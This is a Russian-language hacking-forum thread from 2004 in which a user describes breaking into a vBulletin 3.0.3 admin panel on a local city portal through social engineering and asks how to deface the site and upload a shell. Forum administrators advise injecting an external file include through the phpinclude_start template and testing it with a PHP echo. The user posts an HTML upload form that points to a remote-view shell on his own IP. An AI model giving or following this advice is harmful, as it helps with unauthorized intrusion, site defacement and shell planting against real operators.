ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Дефейс 4ерез Vbulletin 3.0.3
  #1  
Старый 18.12.2004, 04:00
Аватар для ProTeuS
ProTeuS
HARDstasy
Регистрация: 26.11.2004
Сообщений: 1,367
Провел на форуме:
4226592

Репутация: 2175


Отправить сообщение для ProTeuS с помощью ICQ
По умолчанию Дефейс 4ерез Vbulletin 3.0.3

Я поимел поcтуп к админпанели vBulletin 3.0.3. хо4у сайт дефейснуть, дописываю в шаблоны свой код, но 4е-то он не канает...
location=myip/shell.php по понятным при4инам работает с правами браузера, а сам шелл залить не могу(виндовая та4ка, wget не идет)
4то можете посоветовать?
 
Ответить с цитированием

  #2  
Старый 18.12.2004, 11:06
Аватар для Егорыч+++
Егорыч+++
Administrator
Регистрация: 27.05.2002
Сообщений: 1,241
Провел на форуме:
20377164

Репутация: 0


По умолчанию

Не надо никакой шел заливать. В щаблонах есть файл phpinclude_start туда можно вставить ссылку на внешний файл. Этого должно быть достаточно.
 
Ответить с цитированием

  #3  
Старый 18.12.2004, 15:17
Аватар для Че Гевара
Че Гевара
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
Провел на форуме:
4618051

Репутация: 45


По умолчанию

А как ты туда доступ поимел, хотелось бы узнать ...
 
Ответить с цитированием

  #4  
Старый 19.12.2004, 05:26
Аватар для ProTeuS
ProTeuS
HARDstasy
Регистрация: 26.11.2004
Сообщений: 1,367
Провел на форуме:
4226592

Репутация: 2175


Отправить сообщение для ProTeuS с помощью ICQ
По умолчанию

Цитата:
Сообщение от Егорыч+++  
Не надо никакой шел заливать. В щаблонах есть файл phpinclude_start туда можно вставить ссылку на внешний файл. Этого должно быть достаточно.
Нет, ЕГОРЫ4. в phpinclude_stat не канает... только просто в phpinclude. Вот вставил такой код:

<FORM ENCTYPE="multipart/form-data" ACTION="http://мой айпи/remview.php" METHOD=POST>
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="1000000">
Send this file: <INPUT NAME="userfile" TYPE="file">
<INPUT TYPE="submit" VALUE="Send File">
</FORM>

к сожадению нету где проверить. 4то скажете, воркать(не локально, а открываться в правами на дефейснутой та4ке) будет(я в этом дело абсолютный 0)???

2 ЧегеВара: Да это я один портал в нешей городской локалек поимел =)
А там и этот новенький форумеЦ стоит
 
Ответить с цитированием

  #5  
Старый 19.12.2004, 10:45
Аватар для Егорыч+++
Егорыч+++
Administrator
Регистрация: 27.05.2002
Сообщений: 1,241
Провел на форуме:
20377164

Репутация: 0


По умолчанию

Вообще то это можно сделать только через phpinclude_start ... не знаю как ты проверял работате он или нет, но обычно проверить можно просто вписав туда типа

<? echo("12345678"); ?>

после того как впишешь, это сообщение должно появиться на первой странички вверху
 
Ответить с цитированием

  #6  
Старый 19.12.2004, 12:06
Аватар для Automan
Automan
Новичок
Регистрация: 19.12.2004
Сообщений: 1
Провел на форуме:
0

Репутация: 2
По умолчанию

ProTeuS - ты это с каким форумом сделал, сэтим что-ли?=)
Скажи как ты это сделал.
Если не хочешь делиться забеслпатно своими достяжениями пиши в асю: 313102321, у меня много всего полезного есть, сможем договориться=)
 
Ответить с цитированием

  #7  
Старый 25.12.2004, 04:43
Аватар для ProTeuS
ProTeuS
HARDstasy
Регистрация: 26.11.2004
Сообщений: 1,367
Провел на форуме:
4226592

Репутация: 2175


Отправить сообщение для ProTeuS с помощью ICQ
По умолчанию

Цитата:
Сообщение от Егорыч+++  
Вообще то это можно сделать только через phpinclude_start ... не знаю как ты проверял работате он или нет, но обычно проверить можно просто вписав туда типа

<? echo("12345678"); ?>

после того как впишешь, это сообщение должно появиться на первой странички вверху
Ну да, таким макаром на паге это выводит, я просто не знаю какой командой на этой виндовой та4ке шелл залить, или вызвать его как-то, 4тобы открыть ее диски Может поможете....

2 Automan: ну да, vBulletin 3.0.3. И пас я расдобыл 4ичто соЦинженерией
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ